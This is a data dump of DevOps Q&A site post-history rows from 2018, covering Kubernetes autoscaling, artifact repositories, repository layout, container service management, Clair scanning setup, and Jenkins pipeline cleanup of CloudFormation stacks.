  <row Id="15933" PostHistoryTypeId="2" PostId="5048" RevisionGUID="f6fb4e60-8421-4696-bd33-d1106bdf32b1" CreationDate="2018-09-24T13:22:56.563" UserId="228" Text="DevOps movement consists of four major areas abbreviated as [CAMS][1]:&#xD;&#xA;&#xD;&#xA; 1. Culture&#xD;&#xA; 1. Automation&#xD;&#xA; 1. Measurement&#xD;&#xA; 1. Sharing&#xD;&#xA;&#xD;&#xA;Here is the [original defining post][2] from 2010.&#xD;&#xA;&#xD;&#xA;In each area there are some tools, processes and practices that are generally accepted, although the subject is not well defined for Best Practices, there are in most cases some Good Practices to follow.&#xD;&#xA;&#xD;&#xA;Automation by itself is a bit wider subject, but in context of DevOps it is just a subset of what is being covered. Take a note that we lead with culture, although many DevOps practitioners new to the field often overlook it at their own peril and skip directly to automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devopsdictionary.com/wiki/CAMS&#xD;&#xA;  [2]: https://blog.chef.io/2010/07/16/what-devops-means-to-me/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15934" PostHistoryTypeId="2" PostId="5049" RevisionGUID="20cc16db-c438-44f5-9c29-78ee40d17dc9" CreationDate="2018-09-24T15:25:48.960" UserId="9990" Text="I have a Kubernetes cluster running on Google Compute Engine. My program uses stateful connections, so I do not want my pods being moved between nodes. Because of this, I am running my workload as daemonsets, and giving each node the amount of compute power that one pod needs.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;This system is working, but I would like a way to autoscale. Normally, the high workload would produce more pods, which would then trigger the creation of more nodes. But since I am only using daemon sets, this normal solution will not work.&#xD;&#xA;&#xD;&#xA;I can use commands to increase or decrease the number of nodes in the server, but I would like this to happen automatically. Ideally, when the workload is high, the cluster would spawn another node in its node pool. Even better, if there is a solution to autoscale down the number of nodes, while minimizing closed connections.&#xD;&#xA;&#xD;&#xA;I haven't found much information on ways to do this. I am not very experienced with dev ops, kubernetes, google cloud, docker, etc. so I would appreciate explanatory answers.&#xD;&#xA;&#xD;&#xA;Thank you.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/oW31U.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15935" PostHistoryTypeId="1" PostId="5049" RevisionGUID="20cc16db-c438-44f5-9c29-78ee40d17dc9" CreationDate="2018-09-24T15:25:48.960" UserId="9990" Text="Autoscaling with Kubernetes daemonset" ContentLicense="CC BY-SA 4.0" />
  <row Id="15936" PostHistoryTypeId="3" PostId="5049" RevisionGUID="20cc16db-c438-44f5-9c29-78ee40d17dc9" CreationDate="2018-09-24T15:25:48.960" UserId="9990" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;&lt;autoscaling&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15937" PostHistoryTypeId="2" PostId="5050" RevisionGUID="24225e46-a08d-44aa-9ad6-92e8d1693d16" CreationDate="2018-09-24T15:28:58.517" UserId="9961" Text="I found the problem it is unrelated.  The index.html file itself was the 'directory access is forbidden" ContentLicense="CC BY-SA 4.0" />
  <row Id="15938" PostHistoryTypeId="2" PostId="5051" RevisionGUID="0229db21-137a-4762-828d-12d2ec5ba265" CreationDate="2018-09-24T15:37:38.057" UserId="9992" Text="I'm looking for a binary-artifact repository, but everything I see is super complicated, to set up, use, and manage. All I'm looking for is:&#xD;&#xA;&#xD;&#xA; * upload repos as tgz/zip with metadata (name, date, tag)&#xD;&#xA; * query and download by SHA and/or name&#xD;&#xA; * a local tool (python-based?) to help create repos from a subdir with the proper metadata and signature&#xD;&#xA;&#xD;&#xA;Even a web-based portal is almost more than I need (sure, it would be nice.)&#xD;&#xA;Doesn't seem like it should require all the infrastructure and complexity of archiva, artifactory, etc. Or maybe some of these tools have a simple mode and I just can't find it in the noise?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15939" PostHistoryTypeId="1" PostId="5051" RevisionGUID="0229db21-137a-4762-828d-12d2ec5ba265" CreationDate="2018-09-24T15:37:38.057" UserId="9992" Text="Are there any truly simple artifact repositories?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15940" PostHistoryTypeId="3" PostId="5051" RevisionGUID="0229db21-137a-4762-828d-12d2ec5ba265" CreationDate="2018-09-24T15:37:38.057" UserId="9992" Text="&lt;artifacts&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15941" PostHistoryTypeId="5" PostId="5012" RevisionGUID="323aba66-29ad-4b8c-a46e-465c4c2cbf2d" CreationDate="2018-09-24T18:07:47.130" UserId="707" Comment="added 5 characters in body" Text="Hi and welcome to DevOps SE!&#xD;&#xA;&#xD;&#xA;While DevOps is not self-purposed, maybe it is worth to step back for a moment to find out the actual problem before trying out solution.&#xD;&#xA;&#xD;&#xA;As you have asked a more or less generic question, I'll give you sort of a &quot;*DevOps primer*&quot; stick more to methodology rather than give you a list of tools. &#xD;&#xA;&#xD;&#xA;How detailed you would tailor the implementation of this depends on many factors like business needs, complexity of teams, products and systems. .. and the time you have got/are allowed to think.&#xD;&#xA;&#xD;&#xA;* **Why** did they ask you to update DevOps techologies?&#xD;&#xA;* **What** is the business objective i.e. what will change after you are done - find out the management perspective. Will be software delivered faster/in shorter periods, or are deployment problems a real issue?&#xD;&#xA;* If there is an update of DevOps technologies, what is the current [DevOps toolchain][1] (please read on this Wikipedia article to understand families of tools by their purpose in the toolchain) your colleagues use? &#xD;&#xA;&#xD;&#xA;* **Who** i.e. which team members have knowledge/daily usage of which of these tools?&#xD;&#xA;* **What** are technically software products your manufacture and deliver?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now you know the problems and the existing toolchain and products it produces:&#xD;&#xA;&#xD;&#xA;* Are there now some quick fixes to achieve quick results or do you need more time to analyze data you have now, and find answers to questions you have to the team and management?&#xD;&#xA;* Which tools do you think are missing and how which change would bring the company closer to the set objective?&#xD;&#xA;* Will be free open source tools enough or some enterprise licenses could be required?&#xD;&#xA;* Is it possible to design a DevOps strategy and generate iterative tasks to deliver changes and improve the situation in baby steps ([design thinking][2] with your team as end users or do you have a complex situation in large enterprise - [system thinking][3])?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/DevOps_toolchain&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Design_thinking&#xD;&#xA;  [3]: https://searchcio.techtarget.com/definition/systems-thinking&#xD;&#xA;&#xD;&#xA;Side note: regarding to container management, depending on existing expertise you might consider using a solution bundling Kubernetes, e.g. OpenShift as already mentioned or RancherLabs etc. Regarding Jenkins, after you know what is happening, skip through its plugins, Jenkins-as-is is just a beginning." ContentLicense="CC BY-SA 4.0" />
  <row Id="15942" PostHistoryTypeId="50" PostId="1931" RevisionGUID="b664af37-27eb-4977-9282-aad5e117a7df" CreationDate="2018-09-24T19:02:01.230" UserId="-1" />
  <row Id="15943" PostHistoryTypeId="2" PostId="5052" RevisionGUID="7b859a6f-8d49-41fe-b4cd-0cc0bd83a0f7" CreationDate="2018-09-24T19:45:06.027" UserId="162" Text="We currently have a Git repo with automation code (with tests), iaas-code and lamba-code.&#xD;&#xA;&#xD;&#xA;We're considering separating git repos and using git submodules as it seems much cleaner. Do you have any tips for this process?&#xD;&#xA;&#xD;&#xA;My concern is that most tips regarding mono-repos vs. separate repos are mostly for programmers that build micro-services and not for DevOps / SysAdmins." ContentLicense="CC BY-SA 4.0" />
  <row Id="15944" PostHistoryTypeId="1" PostId="5052" RevisionGUID="7b859a6f-8d49-41fe-b4cd-0cc0bd83a0f7" CreationDate="2018-09-24T19:45:06.027" UserId="162" Text="Tips for separating DevOps Git repos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15945" PostHistoryTypeId="3" PostId="5052" RevisionGUID="7b859a6f-8d49-41fe-b4cd-0cc0bd83a0f7" CreationDate="2018-09-24T19:45:06.027" UserId="162" Text="&lt;git&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15946" PostHistoryTypeId="5" PostId="5052" RevisionGUID="02a5c35e-9652-43f1-8c35-4370c3ec6a43" CreationDate="2018-09-24T19:51:46.383" UserId="162" Comment="added 289 characters in body" Text="We currently have a Git repo with automation code (with tests), iaas-code and lamba-code.&#xD;&#xA;&#xD;&#xA;- The automation code is mostly Fabric, Python and unittests.&#xD;&#xA;- The Iaas-code is mostly CloudFormation, Docker-compose and some Terraform.&#xD;&#xA;- The AWS lamdas are Serverless code and some Fabric.&#xD;&#xA;- There is also some code with Dockerfiles that builds a Docker image from this Git repo.&#xD;&#xA;&#xD;&#xA;We're considering separating git repos and using git submodules as it seems much cleaner. Do you have any tips for this process?&#xD;&#xA;&#xD;&#xA;My concern is that most tips regarding mono-repos vs. separate repos are mostly for programmers that build micro-services and not for DevOps / SysAdmins." ContentLicense="CC BY-SA 4.0" />
  <row Id="15950" PostHistoryTypeId="2" PostId="5054" RevisionGUID="18ee6330-2855-4f96-ab92-7b88cfd95895" CreationDate="2018-09-24T21:11:40.290" UserId="162" Text="We are talking about Docker containers as sysdig, consul, fluentd, mesos-slave, etc. that we are running on almost all machines. &#xD;&#xA;&#xD;&#xA;Currently we are using Ubuntu's Upstart and CoreOS's Fleetctl. We're migrating to Ubuntu 18.04 LTS and currently considering whether to convert the configuration to:&#xD;&#xA;&#xD;&#xA;- Systemd or&#xD;&#xA;- Docker-compose&#xD;&#xA;&#xD;&#xA;Systemd can do health checks and automatically bring back processes that died back online. It's also the most similar to Upstart that we use heavily. Our Upstart configuration files are generated from cloud-config like this:&#xD;&#xA;&#xD;&#xA;    - &gt;&#xD;&#xA;        /usr/local/bin/generate-docker-upstart fluentd registry/fluentd:1.0.1&#xD;&#xA;        -e HOST=elasticsearch&#xD;&#xA;        -e PORT=9200&#xD;&#xA;        -e INDEX=fluentd&#xD;&#xA;        -e NODE=`hostname -s`&#xD;&#xA;        -e ROLE=app&#xD;&#xA;        -e ENVIRONMENT={{Ref:Environment}}&#xD;&#xA;        -e TENANT={{Ref:Tenant}}&#xD;&#xA;        -p 24224:24224&#xD;&#xA;        --name \$NAME \$IMAGE&#xD;&#xA;&#xD;&#xA;We use AWS CloudFormation to bring the virtual machines online.&#xD;&#xA;&#xD;&#xA;We cannot use a real container orchestration framework (we already use Marathon/Mesos) because these services have to be running on each host and before Marathon/Mesos run.&#xD;&#xA;&#xD;&#xA;What solution makes most sense? Convert these files to systemd or start using docker-compose, despite already using Marathon on Mesos?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15951" PostHistoryTypeId="1" PostId="5054" RevisionGUID="18ee6330-2855-4f96-ab92-7b88cfd95895" CreationDate="2018-09-24T21:11:40.290" UserId="162" Text="Should I use systemd or docker-compose to replace Upstart for keeping Docker containers running on my systems?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15952" PostHistoryTypeId="3" PostId="5054" RevisionGUID="18ee6330-2855-4f96-ab92-7b88cfd95895" CreationDate="2018-09-24T21:11:40.290" UserId="162" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15953" PostHistoryTypeId="2" PostId="5055" RevisionGUID="175820ea-eccd-4e75-90b9-8da97d4107ab" CreationDate="2018-09-24T21:35:10.357" UserId="8251" Text="My advice would be to not separate these repositories as it introduces unnecessary risks in terms of repositories not being available due to access control, availabilty or billing issues at some point when you need 2 or more of them working together.&#xD;&#xA;&#xD;&#xA;It also reads contrary to the term &quot;DevOps&quot; where Software developers and System admins are supposed to work together and get a grasp of each others domain instead of traditional &quot;over the wall&quot; responsibilities. If Dev and Ops are supposed to work together, why would Ops and Ops be separated?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15955" PostHistoryTypeId="2" PostId="5056" RevisionGUID="edc79226-cee7-432b-b4dd-505611993d8e" CreationDate="2018-09-24T23:14:09.557" UserId="228" Text="When considering mono-repo vs many-repos you might look at the following questions, which should also affect the composition of the code directory tree structure. *There is a slight general trend toward mono-repos.*&#xD;&#xA;&#xD;&#xA;### Discoverability ###&#xD;&#xA;&#xD;&#xA;How easy it is for developers and ops people to discover the code for some feature. Are there clear guidelines on what goes where? Are they enforced somehow through automation? Are new repos automatically linked as submodules into correct location? Does the build or deploy process depend on the tree structure making sure people need to put it there in order for it to be even noticed? What is the size? How long it will take to grep code in certain place? Are there generic `lib/` directories where devs and ops end up sharing libraries that create new unexpected inexplicit dependencies?&#xD;&#xA;&#xD;&#xA;### Deployability ###&#xD;&#xA;&#xD;&#xA;Does any of the code need to be present on machines that you deploy to? Are you expecting to do such deployment through syncing repository or do you have other established deployment mechanisms. In the first case, will other code creep in during the deployments that does not need to be there?&#xD;&#xA;&#xD;&#xA;### Durability ###&#xD;&#xA;&#xD;&#xA;Will the concept you are using stand the test of time? Are you a one product shop, but maybe in your future there are new products? How would adding a new product affect the code? Will there be new mono-repo for the new product? What about shared code between products? Looking at your company roadmap, how will whatever you do fare 6m, 2y, 5y down the road? Choices like this tend to be hard to change in practice (even though they shouldn't - in theory).&#xD;&#xA;&#xD;&#xA;### DevOps ###&#xD;&#xA;&#xD;&#xA;You really want to take down barriers between Devs and Ops. So even just having separate mono-repo for ops could create such barrier. The operation and deployment of code, standing up environments, setting up services, it should all be in reach of developers and with explicit expectations to develop such code in coordination with the ops team, not being dependent on someone doing it for them. If things go well your developers follow through with code for months after it has already been in production and have hand in all aspects of the deployment. How easy it is to make commits that contain both product and deployment changes? How can those commits be grouped together? What is the visibility of ops into product runtime code and devs into product management code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15956" PostHistoryTypeId="2" PostId="5057" RevisionGUID="edc9747f-9d15-4c0d-8824-a29c499b6ee1" CreationDate="2018-09-25T00:03:03.703" UserId="228" Text="This means that the container that you are trying to pull is not available for the architecture, in this case it would be **linux/arm64**. Maybe there is an image available now. I would search for 'docker mongodb arm64' to see. I see support for mongodb under arm64v8 architecture, which would be in Raspberry Pi 4. Maybe you want to upgrade, as your chip is arm64v7.&#xD;&#xA;&#xD;&#xA;This [issue][1] explains error message in a bit more detail.&#xD;&#xA;&#xD;&#xA;Answers under this [issue][2] are going to help you run MongoDB under ARM64. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/docker-library/official-images/issues/3835&#xD;&#xA;  [2]: https://github.com/docker-library/mongo/issues/196" ContentLicense="CC BY-SA 4.0" />
  <row Id="15957" PostHistoryTypeId="2" PostId="5058" RevisionGUID="0eaafd62-25bb-409d-a5a9-5733ce66ac4f" CreationDate="2018-09-25T05:17:53.173" UserId="9890" Text="I eventually figured out that Clair server was running inside the container and its service ports - 6060 (API) and 6061 (Health) were available only inside the container context. I confirmed this by running these commands:&#xD;&#xA;&#xD;&#xA;Command to see the open ports inside the clair container&#xD;&#xA;&#xD;&#xA;`docker-compose exec clair netstat -anp`&#xD;&#xA;&#xD;&#xA;Command to see the open ports inside the clairctl container&#xD;&#xA;&#xD;&#xA;`docker-compose exec clairctl netstat -anp`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The clairctl analyze operation was failing inside the container as docker login context was not available inside. I figured out that I will have to expose the ports 6060, 6061 from inside Clair server outside the container context. Only then could it be visible using clairctl binary copied outside the container where the docker login context is available. I did the following three changes post which I could run the clairctl commands successfully.&#xD;&#xA;&#xD;&#xA;1. Copied the file https://github.com/jgsqware/clairctl/blob/master/clairctl.yml.default as clairctl.yml into $HOME directory from where I had done docker login and was running clairctl commands.&#xD;&#xA;2. Updated the value of `uri` parameter in above file from `uri: http://clair` to `uri: http://localhost`&#xD;&#xA;3. Added the `ports` clause in section for `clair` into file /root/go/src/github.com/jgsqware/clairctl/docker-compose.yml as seen below&#xD;&#xA;&#xD;&#xA;          clair:&#xD;&#xA;            image: quay.io/coreos/clair:v2.0.0&#xD;&#xA;            restart: unless-stopped&#xD;&#xA;            ports:&#xD;&#xA;              - &quot;6060:6060&quot;&#xD;&#xA;              - &quot;6061:6061&quot;&#xD;&#xA;&#xD;&#xA;This exposed the ports 6060, 6061 inside the clair container to the localhost, after which commands like `clairctl health` and `clairctl analyze &lt;container-image-name&gt;` worked successfully.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15958" PostHistoryTypeId="50" PostId="3317" RevisionGUID="28f34fea-0ba3-4f76-a408-b20b1bfdf5f0" CreationDate="2018-09-25T06:01:13.410" UserId="-1" />
  <row Id="15959" PostHistoryTypeId="34" PostId="4963" RevisionGUID="826ee54e-e2e6-459f-a16e-34cdf5a4dbf5" CreationDate="2018-09-25T08:00:46.087" UserId="-1" Comment="25" />
  <row Id="15965" PostHistoryTypeId="50" PostId="4161" RevisionGUID="163ef5b5-170c-44c1-bda9-715a75f5566c" CreationDate="2018-09-25T10:01:08.537" UserId="-1" />
  <row Id="15966" PostHistoryTypeId="10" PostId="4966" RevisionGUID="d02ac646-04c5-47c2-bfd5-6b642777c637" CreationDate="2018-09-25T10:08:41.293" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:228,&quot;DisplayName&quot;:&quot;Jiri Klouda&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="15969" PostHistoryTypeId="50" PostId="4831" RevisionGUID="bee85d2d-e48b-49ce-a707-bccd2e932cef" CreationDate="2018-09-25T12:00:29.903" UserId="-1" />
  <row Id="15979" PostHistoryTypeId="2" PostId="5060" RevisionGUID="54a49038-c44a-4f3b-853d-2eff903c3bf7" CreationDate="2018-09-25T20:18:09.593" UserId="4175" Text="_(N.B. this answer is, in the spirit of the question, high-level and not very concrete...)_&#xD;&#xA;&#xD;&#xA;&gt; How can I calculate throughput of our system&#xD;&#xA;&#xD;&#xA;If by &quot;calculate&quot; you mean to take some data points, dry run some formulas and get a pretty close approximation to your throughput - that is pretty much impossible, unless you have a *lot* more information - which may also include pretty random parts, hence quite hard to do theoretically.&#xD;&#xA;&#xD;&#xA;If you mean &quot;measure&quot;, then it could be as simple as checking your logfiles and counting lines per time unit. &#xD;&#xA;&#xD;&#xA;&gt; and build monitoring around max load that our system can handle?&#xD;&#xA;&#xD;&#xA;Unless you're NASA, that's probably a case for trial and error. Run your system(s) and see how much troughput you get. Increase worker nodes. See what happens.&#xD;&#xA;&#xD;&#xA;If you already know the behaviour of your overal system - i.e., whether it scales linearly, whether there are bottlenecks like databases, lock contention and such, then you can take shortcuts or good guesses.&#xD;&#xA;&#xD;&#xA;That's one of the reasons for doing the container-based scaling we do these days - you can throw a few more workers at it relatively easily. &#xD;&#xA;&#xD;&#xA;How you actually (technically) do that depends on what platform you are using. AWS, Kubernetes/OpenShift etc. come with techniques or settings do do it automatically for you. I assume those work mainly with the metric of &quot;free workers&quot; - trying to get the &quot;free:busy worker&quot; ratio into some target corridor so that every new request has a very high likelihood to hit a free worker, at any time, thus getting (theoretical) constant time for each request." ContentLicense="CC BY-SA 4.0" />
  <row Id="15980" PostHistoryTypeId="2" PostId="5061" RevisionGUID="a4ed5dfe-2b14-4819-8910-8bec141c19b3" CreationDate="2018-09-25T20:19:56.560" UserId="4328" Text="Although it seems counterintuitive, I would like to execute an always statement when a conditional is met. In my pipeline, my post statement should always destroy my AWS CloudFormation Stack if a variable is set to true. Below is the post statement which is not correct. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    post{&#xD;&#xA;        always {&#xD;&#xA;            when {&#xD;&#xA;                expression { DeleteStack == 'true'}&#xD;&#xA;            }&#xD;&#xA;            stage(&quot;Delete All Stacks&quot;) {               &#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        withAWS(region:'us-west-2', credentials:'jenkins-deploy') {&#xD;&#xA;                            def outputs = cfnDelete(&#xD;&#xA;                                stack:&quot;${CFTBatchStackName}&quot;, &#xD;&#xA;                                pollInterval:1000)&#xD;&#xA;                        }&#xD;&#xA;                        withAWS(region:'us-west-2', credentials:'jenkins-deploy') {&#xD;&#xA;                            def outputs = cfnDelete(&#xD;&#xA;                                stack:&quot;${CFTVPCStackName}&quot;, &#xD;&#xA;                                pollInterval:1000)&#xD;&#xA;                        }&#xD;&#xA;                        withAWS(region:'us-west-2', credentials:'jenkins-deploy') {&#xD;&#xA;                        def outputs = cfnDelete(&#xD;&#xA;                            stack:&quot;${CFTSelfDeleteName}&quot;, &#xD;&#xA;                            pollInterval:1000)&#xD;&#xA;                        }&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Can I achieve this using a declarative pipeline? " ContentLicense="CC BY-SA 4.0" />
  <row Id="15981" PostHistoryTypeId="1" PostId="5061" RevisionGUID="a4ed5dfe-2b14-4819-8910-8bec141c19b3" CreationDate="2018-09-25T20:19:56.560" UserId="4328" Text="Always execute post statement in a jenkins pipeline when a conditional statement is met" ContentLicense="CC BY-SA 4.0" />
  <row Id="15982" PostHistoryTypeId="3" PostId="5061" RevisionGUID="a4ed5dfe-2b14-4819-8910-8bec141c19b3" CreationDate="2018-09-25T20:19:56.560" UserId="4328" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-pipeline&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15983" PostHistoryTypeId="5" PostId="1867" RevisionGUID="2d50026b-19e5-4449-b237-cd47947f2494" CreationDate="2018-09-25T20:53:08.227" UserId="4115" Comment="added 398 characters in body" Text="I'm posting this here not because I endorse these solutions (in fact, I've never tried them), but just because they are a potential answer to your question:&#xD;&#xA;&#xD;&#xA;You can start with [JenkinsPipelineUnit](https://github.com/lesfurets/JenkinsPipelineUnit), a unit testing framework for Pipeline scripts.&#xD;&#xA;&#xD;&#xA;There is also a project called [jenkinsfile-runner](https://github.com/jenkinsci/jenkinsfile-runner) which executes your Jenkinsfile in a transient, headless Jenkins instance.  Supposedly, this can be used for integration testing Jenkinsfiles and Pipeline shared libraries.  However, as of summer 2018 there is no documentation on how to use this tool for integration testing, and I have been unable to find any examples of anyone using this tool &quot;in the wild&quot;.&#xD;&#xA;&#xD;&#xA;See also [the related bug report on the Jenkins JIRA: &quot;Test framework for Jenkinsfile&quot;](https://issues.jenkins-ci.org/browse/JENKINS-33925)." ContentLicense="CC BY-SA 4.0" />
  <row Id="15984" PostHistoryTypeId="2" PostId="5062" RevisionGUID="78a5caba-e679-4961-93dd-53ca086b096a" CreationDate="2018-09-25T21:53:35.030" UserId="9398" Text="You need apply Continuos integration, so exist many combinations but general you need know your &#xD;&#xA;&#xD;&#xA;1.-Programming language.&#xD;&#xA;&#xD;&#xA;2.-Operative System and version. &#xD;&#xA;&#xD;&#xA;3.-Data type( sql, mongodb,file, etc).&#xD;&#xA;&#xD;&#xA;4.-Protocol communication and port.&#xD;&#xA;&#xD;&#xA;5.-A script that check o verify outputs.&#xD;&#xA;&#xD;&#xA;6.-A file with result/or flag&#xD;&#xA;&#xD;&#xA; [travis][1] is very well option, because they run test with his machines, and too you can add service git(github option) , with file script called `.travis` you can run your test, exist other ci services and integrations but general working like it(without docker).   &#xD;&#xA;&#xD;&#xA;    language: python&#xD;&#xA;    cache: pip&#xD;&#xA;    python:&#xD;&#xA;      - '3.5'&#xD;&#xA;      - '3.6'&#xD;&#xA;     &#xD;&#xA;    install: pip install -r requirements-dev.txt&#xD;&#xA;    script: pytest&#xD;&#xA;    deploy:&#xD;&#xA;      provider: pypi&#xD;&#xA;      user: acme-bot&#xD;&#xA;      password:&#xD;&#xA;        secure: &quot;&lt;something long&gt;&quot;&#xD;&#xA;      distributions: sdist bdist_wheel&#xD;&#xA;      on:&#xD;&#xA;        tags: true&#xD;&#xA;    &#xD;&#xA;    matrix:&#xD;&#xA;      include:&#xD;&#xA;&#xD;&#xA;Well if you network communication require additional service networs you too need a service VPN &#xD;&#xA;&#xD;&#xA;  [1]: https://travis-ci.org" ContentLicense="CC BY-SA 4.0" />
  <row Id="15985" PostHistoryTypeId="2" PostId="5063" RevisionGUID="9aa0c1ba-7b14-4cf5-b031-0234745e9162" CreationDate="2018-09-25T22:17:51.587" UserId="9398" Text="I generaly work with a CDN, you can upload files and compressed files, and many CDNs has api ,  [like it][1], but exist many other not conventional solutions, by example insert code or script in a fake image using base 64 and upload it to server public , or use [facebook pixel][2] to add script or file. Hope this help you.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloudinary.com/documentation/django_integration&#xD;&#xA;  [2]: https://blog.hootsuite.com/facebook-pixel/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15986" PostHistoryTypeId="2" PostId="5064" RevisionGUID="f4845c2a-ca6b-4865-b0ad-3f6cb54e0857" CreationDate="2018-09-26T06:43:17.480" UserId="4175" Text="You can always fall back to scp, sftp or the like, i.e. command-line based upload/download. Tags can be done with symlinks, and you don't get advanced metadata, but still." ContentLicense="CC BY-SA 4.0" />
  <row Id="15990" PostHistoryTypeId="2" PostId="5066" RevisionGUID="c3a7ed7f-3887-49c5-850b-3eb629a6009f" CreationDate="2018-09-26T09:58:27.363" UserId="228" Text="In his book [Creativity, Inc][1], Ed Catmull mentions a practice originating in movie business, when directors would receive feedback on their movie in progress, so called &quot;**Notes**&quot;. At [Pixar][2] he was in charge of the company and that was his &quot;movie&quot; and in essence he envisioned a similar way to receive feedback on running the business. It was an event carefully planed in advance where all employees would take a day off from their work and use their creativity to improve how things are done. It was called &quot;**Notes Day**&quot;.&#xD;&#xA;&#xD;&#xA;Creativity, Inc and Pixar [inspired other creative companies][3] to adopt some of the same management practices. Here is a [brief article][4] on some of the basics. One such creative company adopting Notes Day as practice is Deeson as you can read in [this blog][5]. Even tech companies follow suit, this is an [article by Slack][6] on being inspired by Ed Catmull's ideas.&#xD;&#xA;&#xD;&#xA;A place where I've experienced it personally is Cisco Meraki, former startup and now a business unit of Cisco, which is still operating independently, much like Pixar after being acquired by Disney. Notes day is a big event every year, the entire engineering organization plans a 4 day off-site event with engineers from all around the world coming to HQ for the week and then joining us at the offsite. The event helps build teams, foster new connections, propagate culture and a whole day is dedicated to planing, discussing and presenting projects that yearly improve many of the aspects of our day to day lives. Preparations start much earlier in the year and every year the format is tweaked a bit, the design team always takes a huge part and Sean Rhea is traditionally the driving force behind the event. You can read some more in a [blog article][7] by Adam Berman.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.creativityincbook.com&#xD;&#xA;  [2]: https://www.pixar.com&#xD;&#xA;  [3]: https://articles.bplans.com/pixar-inspired-guide-managing-creative-company/&#xD;&#xA;  [4]: http://nofear-community.com/blog/?p=1279&#xD;&#xA;  [5]: https://www.deeson.co.uk/blog/deesons-pixar-inspired-notes-day&#xD;&#xA;  [6]: https://slackhq.com/leadership-lessons-from-ed-catmulls-creativity-inc&#xD;&#xA;  [7]: https://meraki.cisco.com/blog/2017/06/notes-day-a-glimpse-into-merakis-engineering-culture/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15992" PostHistoryTypeId="50" PostId="4350" RevisionGUID="40e7d128-3c10-49f2-ad45-e3fda6836ef7" CreationDate="2018-09-26T14:01:34.700" UserId="-1" />
  <row Id="15993" PostHistoryTypeId="2" PostId="5067" RevisionGUID="eaa732c7-76d6-46ae-9e12-0a273a2bab58" CreationDate="2018-09-26T16:13:03.347" UserId="4115" Text="I'm not aware of any way to do what you want with Declarative, but it certainly is possible with Scripted:&#xD;&#xA;&#xD;&#xA;    try {&#xD;&#xA;      // your Pipeline code here&#xD;&#xA;    } finally {&#xD;&#xA;      if (!DeleteStack) { return }&#xD;&#xA;&#xD;&#xA;      [&#xD;&#xA;        CFTBatchStackName,&#xD;&#xA;        CFTVPCStackName,&#xD;&#xA;        CFTSelfDeleteName,&#xD;&#xA;      ].each { stack-&gt;&#xD;&#xA;        withAWS(region:'us-west-2', credentials:'jenkins-deploy') {&#xD;&#xA;          def outputs = cfnDelete(&#xD;&#xA;            stack: stack,&#xD;&#xA;            pollInterval: 1000,&#xD;&#xA;          )&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  " ContentLicense="CC BY-SA 4.0" />
  <row Id="15994" PostHistoryTypeId="50" PostId="3419" RevisionGUID="cb4673d6-315f-452f-b380-29765f95feac" CreationDate="2018-09-26T18:02:49.743" UserId="-1" />
  <row Id="15995" PostHistoryTypeId="50" PostId="3488" RevisionGUID="02f0cba8-b982-436f-b284-40a304faf799" CreationDate="2018-09-26T20:00:02.577" UserId="-1" />
  <row Id="15996" PostHistoryTypeId="50" PostId="3953" RevisionGUID="61363eef-2364-4fe0-9c45-cb43af2c6733" CreationDate="2018-09-26T21:01:27.547" UserId="-1" />
  <row Id="15998" PostHistoryTypeId="2" PostId="5069" RevisionGUID="b405712d-3ad7-412e-b75b-8c8d639f274e" CreationDate="2018-09-26T22:09:32.243" UserId="10039" Text="So I'm trying to get started with the HashiCorp stack, but the question I keep asking myself, when looking at any of this DevOps infrastructure stuff, is what infrastructure should you be using to host the tools that will be managing - well - your infrastructure?&#xD;&#xA;&#xD;&#xA;Like, for example, should I just be spinning up individual VMs to host each part of the HashiCorp stack? Should I be doing that instead using containers? Should I be managing those containers? With the same tools I'm going to be using to manage the containers managed by those containers?&#xD;&#xA;&#xD;&#xA;This might be a stupid question, but I'm honestly at a loss." ContentLicense="CC BY-SA 4.0" />
